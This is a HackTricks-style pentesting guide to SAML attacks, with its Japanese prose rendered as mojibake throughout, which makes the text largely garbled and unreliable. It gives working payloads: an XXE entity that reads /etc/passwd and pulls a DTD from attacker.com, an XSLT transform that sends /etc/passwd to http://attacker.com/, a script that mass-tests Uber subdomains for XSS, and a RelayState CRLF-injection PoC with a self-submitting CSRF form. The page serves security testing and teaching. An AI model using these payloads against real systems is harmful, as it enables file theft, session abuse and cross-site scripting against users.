SAML Attacks
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
ããŒã«
SAMLExtractor: URL ãŸã㯠URL ã®ãªã¹ããåãåããSAML consume URL ãåºåããããŒã«ã
XML ã©ãŠã³ãããªãã
XML ã§ã¯ã眲åãããéšåãã¡ã¢ãªã«ä¿åããããã®åŸãšã³ã³ãŒã/ãã³ãŒãåŠçãè¡ãããŠçœ²åãæ€èšŒãããŸããæ¬æ¥ãã®ãšã³ã³ãŒã/ãã³ãŒãã¯ããŒã¿ã倿Žããªãã¯ãã§ããããã®åŠçã«ãããæ€èšŒãããããŒã¿ãšå ã®ããŒã¿ãåäžã§ãªãå¯èœæ§ãããã
äŸãã°ã次ã®ã³ãŒãã確èªããŠãã ãã:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
REXML 3.2.4 以åã察象ã«ããã°ã©ã ãå®è¡ãããšã代ããã«æ¬¡ã®åºåãåŸãããŸã:
First child in original doc: Y
First child after round-trip: Z
ããã¯äžã®ããã°ã©ã ããREXMLãèŠãå ã®XMLããã¥ã¡ã³ãã®æ§åã§ã:
.png)
ãããŠãã¡ãã¯ãããŒã¹ãšã·ãªã¢ã©ã€ãºãäžå·¡ããåŸã«REXMLãèŠããã®ã§ã:
.png)
è匱æ§ãšãã®æªç𿹿³ã®è©³çްã«ã€ããŠã¯æ¬¡ãåç §ããŠãã ãã:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
In XML Signature Wrapping attacks (XSW)ãæ»æè ã¯XMLããã¥ã¡ã³ããäºã€ã®ç°ãªããã§ãŒãºïŒsignature validation ãš function invocationïŒã§åŠçãããããšã«èµ·å ããè匱æ§ãæªçšããŸãããããã®æ»æã¯XMLããã¥ã¡ã³ãã®æ§é ã倿Žããããšã䌎ããå ·äœçã«ã¯XML Signatureã®åŠ¥åœæ§ãæãªããªãããã«åœé èŠçŽ ãæ³šå ¥ããŸãããã®æäœã«ãããapplication logicãæ€æ»ããèŠçŽ ãšsignature verification moduleããã§ãã¯ããèŠçŽ ã®éã«äžäžèŽãçããŸãããã®çµæãXML Signatureã¯æè¡çã«ã¯æå¹ãªãŸãŸæ€èšŒãééããäžæ¹ã§ãã¢ããªã±ãŒã·ã§ã³ããžãã¯ã¯äžæ£ãªèŠçŽ ãåŠçããŸããããã«ãããæ»æè ã¯XML Signatureã«ããæŽåæ§ä¿è·ãšçºä¿¡å èªèšŒãäºå®äžè¿åããæ€åºãããããšãªãä»»æã®ã³ã³ãã³ããæ³šå ¥ã§ããããã«ãªããŸãã
以äžã®æ»æã¯this blog post ããã³ this paper ã«åºã¥ããŠããŸãã詳现ã¯ãã¡ããåç §ããŠãã ããã
XSW #1
- Strategy: 眲åãå«ãæ°ããã«ãŒãèŠçŽ ã远å ãããŸãã
- Implication: ããªããŒã¿ãæ£åœãª âResponse -> Assertion -> Subjectâ ãšæ»æè ã® âevil new Response -> Assertion -> Subjectâ ãæ··åããå¯èœæ§ããããããŒã¿ã®æŽåæ§åé¡ãçããŸãã
.png)
XSW #2
- Difference from XSW #1: enveloping signature ã®ä»£ããã« detached signature ãå©çšããŸãã
- Implication: XSW #1ãšåæ§ã®ãevilãæ§é ããæŽåæ§ãã§ãã¯åŸã®ããžãã¹ããžãã¯ã欺ãããšãç®çãšããŸãã
.png)
XSW #3
- Strategy: å ã®Assertionãšåãéå±€ã¬ãã«ã«æªæ§ã®AssertionãäœæããŸãã
- Implication: ããžãã¹ããžãã¯ãæ··ä¹±ãããæªæã®ããããŒã¿ã䜿çšãããããšãæå³ããŠããŸãã
.png)
XSW #4
- Difference from XSW #3: å ã®Assertionãè€è£œãããïŒæªæ§ã®ïŒAssertionã®åã«ãªãããã«ããŸãã
- Implication: XSW #3ã«é¡äŒŒããŠããŸãããXMLæ§é ãããç©æ¥µçã«å€æŽããŸãã
.png)
XSW #5
- Unique Aspect: Signature ãå ã® Assertion ãæšæºçãªæ§æïŒenveloped/enveloping/detachedïŒã«åŸã£ãŠããŸããã
- Implication: ã³ããŒãããAssertionãSignatureãå å«ããæåŸ ãããããã¥ã¡ã³ãæ§é ã倿ŽããŸãã
.png)
XSW #6
- Strategy: XSW #4 ãš #5 ãšåæ§ã®æ¿å ¥äœçœ®ã ããã²ãšã²ããããããŸãã
- Implication: ã³ããŒãããAssertionãSignatureãå å«ããããã«ãããå ã®Assertionãå å«ããããšã§ãå ¥ãåã«ãªã£ã欺ççæ§é ãäœããŸãã
.png)
XSW #7
- Strategy: Extensions èŠçŽ ãæ¿å ¥ãããã®åãšããŠã³ããŒãããAssertionãé 眮ããŸãã
- Implication: Extensions èŠçŽ ã®å¶çŽãç·©ãç¹ãçªããŠã¹ããŒãæ€èšŒã«ãã察çãåé¿ãããã®ã§ãOpenSAML ã®ãããªã©ã€ãã©ãªã§æå¹ã§ãã
.png)
XSW #8
- Difference from XSW #7: å¥ã®å¶çŽã®ç·©ãXMLèŠçŽ ãå©çšããããªãšãŒã·ã§ã³ã§ãã
- Implication: å ã®Assertionãå¶çŽã®ç·©ãèŠçŽ ã®åã«ãªãããšã§ãXSW #7ã§äœ¿ãããæ§é ãé転ãããŸãã
.png)
Tool
Burp extension ã® SAML Raider ã䜿ã£ãŠãªã¯ãšã¹ããããŒã¹ããä»»æã®XSWæ»æãé©çšããŠå®è¡ã§ããŸãã
XXE
If you donât know which kind of attacks are XXE, please read the following page:
XXE - XEE - XML External Entity
SAML Responses 㯠deflated and base64 encoded XML documents ã§ãããXML External Entity (XXE) æ»æã®åœ±é¿ãåããå¯èœæ§ããããŸããSAML Response ã®XMLæ§é ãæäœããããšã§ãæ»æè ã¯XXEè匱æ§ãçªãããšããããšãã§ããŸãã以äžã¯ãã®ãããªæ»æãèŠèŠåãããã®ã§ã:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
ããŒã«
Burp æ¡åŒµæ©èœ SAML Raider ã䜿ã£ãŠãSAML ãªã¯ãšã¹ããã POC ãçæããæœåšç㪠XXE è匱æ§ã SAML è匱æ§ããã¹ãããããšãã§ããŸãã
ãã®ããŒã¯ãåç §ããŠãã ãã: https://www.youtube.com/watch?v=WHn-6xHL7mI
SAML ãä»ãã XSLT
XSLT ã®è©³çްã«ã€ããŠã¯æ¬¡ãåç §ããŠãã ãã:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) ã¯ãXML ããã¥ã¡ã³ãã HTMLãJSONããŸã㯠PDF ã®ãããªããŸããŸãªåœ¢åŒã«å€æããããã«äœ¿çšã§ããŸããéèŠãªã®ã¯ãXSLT 倿ã¯ããžã¿ã«çœ²åã®æ€èšŒãããåã«å®è¡ããããšããç¹ã§ããããã¯ãæå¹ãªçœ²åããªããŠãæ»æãæåãåŸãããšãæå³ããŸããèªå·±çœ²åãç¡å¹ãªçœ²åã§ãé²è¡å¯èœã§ãã
ããã«ã¯ãã®çš®ã®è匱æ§ã確èªããããã® POC ãæ²èŒãããŠããŸããã»ã¯ã·ã§ã³åé ã§èšåãã hacktricks ããŒãžã«ã¯ãã€ããŒããæ²èŒãããŠããŸãã
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
ããŒã«
Burp æ¡åŒµæ©èœ SAML Raider ã䜿ã£ãŠãSAML ãªã¯ãšã¹ããã POC ãçæããXSLT ã®è匱æ§ããã¹ãããããšãã§ããŸãã
ãã®ããŒã¯ã確èªããŠãã ãã: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion ã¯ãSignature èŠçŽ ãååšããªãå Žåã® SAML å®è£ ã®æåã芳å¯ããææ³ã§ãããã®èŠçŽ ãæ¬ ããŠãããšãsignature validation may not occur ãããè匱ã«ãªãå¯èœæ§ããããŸããé垞眲åã§æ€èšŒãããå å®¹ãæžãæããŠãã¹ãããããšãå¯èœã§ãã
.png)
ããŒã«
Burp æ¡åŒµæ©èœ SAML Raider ã䜿çšããããšãã§ããŸããSAML Response ãã€ã³ã¿ãŒã»ããããRemove Signatures ãã¯ãªãã¯ããŸããããã«ãã all Signature èŠçŽ ãåé€ãããŸãã
眲åãåé€ãããç¶æ ã§ãªã¯ãšã¹ããã¿ãŒã²ããã«é²ããŸããIf the Signature isnât required by the Service
Certificate Faking
Certificate Faking
Certificate Faking ã¯ãService Provider (SP) ã SAML Message ãä¿¡é Œããã Identity Provider (IdP) ã«ãã£ãŠçœ²åãããŠããããšãé©åã«æ€èšŒããã ããã¹ãããææ³ã§ãããã㯠*self-signed certificate ã䜿çšã㊠SAML Response ã Assertion ã«çœ²åããããšãå«ã¿ãSP ãš IdP éã®ä¿¡é Œæ€èšŒããã»ã¹ãè©äŸ¡ããã®ã«åœ¹ç«ã¡ãŸãã
How to Conduct Certificate Faking
以äžã¯ SAML Raider Burp æ¡åŒµæ©èœã䜿ã£ãæé ã§ã:
- SAML Response ãã€ã³ã¿ãŒã»ããããã
- ã¬ã¹ãã³ã¹ã«çœ²åãå«ãŸããŠããå Žåã
Send Certificate to SAML Raider Certsãã¿ã³ã䜿ã£ãŠèšŒææžã SAML Raider Certs ã«éãã - SAML Raider Certificates ã¿ãã§ãã€ã³ããŒãããèšŒææžãéžæã
Save and Self-Signãã¯ãªãã¯ããŠãå ã®èšŒææžã®èªå·±çœ²åã¯ããŒã³ãäœæããã - Burp ã® Proxy ã§ã€ã³ã¿ãŒã»ãããããªã¯ãšã¹ãã«æ»ããXML Signature ããããããŠã³ããæ°ããèªå·±çœ²åèšŒææžãéžæããã
Remove Signaturesãã¿ã³ã§æ¢åã®çœ²åããã¹ãŠåé€ããã- å¿
èŠã«å¿ããŠã
(Re-)Sign MessageãŸãã¯(Re-)Sign Assertionãã¿ã³ã䜿çšããŠãæ°ããèšŒææžã§ã¡ãã»ãŒãžãã¢ãµãŒã·ã§ã³ã«çœ²åããã - çœ²åæžã¿ã¡ãã»ãŒãžã転éãããèªèšŒã«æåããå ŽåãSP ãããªãã®èªå·±çœ²åèšŒææžã§çœ²åãããã¡ãã»ãŒãžãåãå ¥ããŠããããšã瀺ããSAML ã¡ãã»ãŒãžã®æ€èšŒããã»ã¹ã«æœåšçãªè匱æ§ãããããšãæããã«ããŸãã
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion ããã³ Service Provider Target Confusion ã¯ãService Provider ãã¬ã¹ãã³ã¹ã®æå³ãããåä¿¡è ãæ£ããæ€èšŒããŠããã ã確èªããããšã«é¢ä¿ããŸããèŠããã«ãèªèšŒã¬ã¹ãã³ã¹ãå¥ã®ãããã€ãåãã§ãã£ãå ŽåãService Provider ã¯ãããæåŠããã¹ãã§ããããã§éèŠãªã®ã¯ãSAML Response ã® SubjectConfirmationData èŠçŽ å ã«ãã Recipient ãã£ãŒã«ãã§ãããã®ãã£ãŒã«ã㯠Assertion ãéãã¹ã URL ãæå®ããŸããå®éã®åä¿¡è ãæå³ããã Service Provider ãšäžèŽããªãå ŽåãAssertion ã¯ç¡å¹ãšèŠãªãããã¹ãã§ãã
How It Works
SAML Token Recipient Confusion (SAML-TRC) æ»æãå®è¡å¯èœã«ãªãã«ã¯ãããã€ãã®æ¡ä»¶ãæºããããå¿ èŠããããŸãããŸãããã Service ProviderïŒSP-LegitïŒã«æå¹ãªã¢ã«ãŠã³ããååšããå¿ èŠããããŸããæ¬¡ã«ãã¿ãŒã²ãããšãã Service ProviderïŒSP-TargetïŒããSP-Legit ã«ãµãŒãã¹ãæäŸããã®ãšåã Identity Provider ããã®ããŒã¯ã³ãåãå ¥ããå¿ èŠããããŸãã
ãããã®æ¡ä»¶ãæããšãæ»æã®ããã»ã¹ã¯åçŽã§ããå ±éã® Identity Provider ãä»ã㊠SP-Legit ãžã®æ£åœãªã»ãã·ã§ã³ãéå§ããŸããIdentity Provider ãã SP-Legit ãžã® SAML Response ãã€ã³ã¿ãŒã»ããããŸãããã®ã€ã³ã¿ãŒã»ããããã SAML ResponseïŒå ã 㯠SP-Legit åãïŒã SP-Target ã«ãªãã€ã¬ã¯ãããŸããæ»æã®æåã¯ãSP-Target ã Assertion ãåãå ¥ããSP-Legit ãšåãã¢ã«ãŠã³ãåã§ãªãœãŒã¹ãžã®ã¢ã¯ã»ã¹ãèš±å¯ãããã©ããã§å€æãããŸãã
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
Logout æ©èœã«ããã XSS
å ã®èª¿æ»ã¯this linkããåç §ã§ããŸãã
directory brute forcing ã®éçšã§ãlogout ããŒãžã以äžã§çºèŠãããŸãã:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
ãã®ãªã³ã¯ã«ã¢ã¯ã»ã¹ãããšã次ã®å Žæã«ãªãã€ã¬ã¯ããããŸãã:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
ããã«ãããbase ãã©ã¡ãŒã¿ã URL ãåãåãããšã倿ããããããèžãŸããŠãURL ã javascript:alert(123); ã«çœ®ãæã㊠XSS (Cross-Site Scripting) ãèµ·ããããšããçºæ³ãçãŸããã
å€§èŠæš¡æªçš
åãã©ã€ãã©ãªã䜿çšããŠãããã¡ã€ã³ã調æ»ããããã«ãSAMLExtractor ããŒã«ã䜿ã£ãŠ uberinternal.com ã®ãµããã¡ã€ã³ãè§£æãããç¶ããŠãoidauth/prompt ããŒãžãæšçãšããã¹ã¯ãªãããäœæãããããã®ã¹ã¯ãªããã¯ãããŒã¿ãå
¥åããŠåºåã«åæ ããããã確èªããããšã§ XSS (Cross-Site Scripting) ããã¹ããããå
¥åãå®éã«åæ ãããå Žåããã®ããŒãžãè匱ãšããŒã¯ããã
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayStateããŒã¹ã®ããããŒ/ããã£æ³šå ¥ã«ããrXSS
ããã€ãã® SAML SSO ãšã³ããã€ã³ã㯠RelayState ããã³ãŒãããŠããããµãã¿ã€ãºããã«ã¬ã¹ãã³ã¹ã«åæ ããŸããæ¹è¡ã泚å
¥ããŠã¬ã¹ãã³ã¹ã® Content-Type ãäžæžãã§ããã°ããã©ãŠã¶ã«æ»æè
å¶åŸ¡ã® HTML ãã¬ã³ããªã³ã°ãã㊠reflected XSS ãéæã§ããŸãã
- æŠèŠ: åæ ããã RelayState ã«å¯Ÿãã newline injection ã䜿ã£ãŠ response-splitting ãæªçšããŸãã詳ãã㯠CRLF injection ã®äžè¬çãªæ³šèšãåç §ããŠãã ããã
- ãµãŒããŒåŽã§ RelayState ã base64-decoded ãããå Žåã§ãåäœããŸã: header/body injection ã«ãªã base64 ãæž¡ããŸãã
äžè¬çãªæé :
- æ¹è¡ã§å§ãŸã header/body injection ã·ãŒã±ã³ã¹ãäœæãã
Content-Typeã HTML ã«äžæžãããŠãã HTML/JS payload ãæ³šå ¥ããŸã:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- ã·ãŒã±ã³ã¹ã URL-encode ããïŒäŸïŒ:
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- ãã® URL-encoded æååã Base64-encode ããŠ
RelayStateã«é 眮ããŸãã
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- æ§æçã«æå¹ãª
SAMLResponseãšäœæããRelayStateãå«ã POST ã SSO ãšã³ããã€ã³ãïŒäŸ:/cgi/logoutïŒã«éä¿¡ããŸãã - CSRF çµç±ã§é ä¿¡: äž¡ãã£ãŒã«ããå«ãã¯ãã¹ãªãªãžã³ã® POST ãèªåéä¿¡ããããŒãžããã¹ãããŸãã
PoC against a NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
CSRF é åžãã¿ãŒã³:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
åäœããçç±: ãµãŒããŒã¯RelayStateããã³ãŒãããnewline injectionãèš±ã圢ã§ã¬ã¹ãã³ã¹ã«çµã¿èŸŒããããæ»æè
ãheadersãbodyã«åœ±é¿ãäžããããŸããContent-Type: text/htmlã匷å¶ãããšãbrowserã¯ã¬ã¹ãã³ã¹ã®bodyããæ»æè
ãå¶åŸ¡ããHTMLãã¬ã³ããªã³ã°ããŸãã
åèæç®
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScalerâs Memory Leak & rXSS (CVE-2025-12101)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


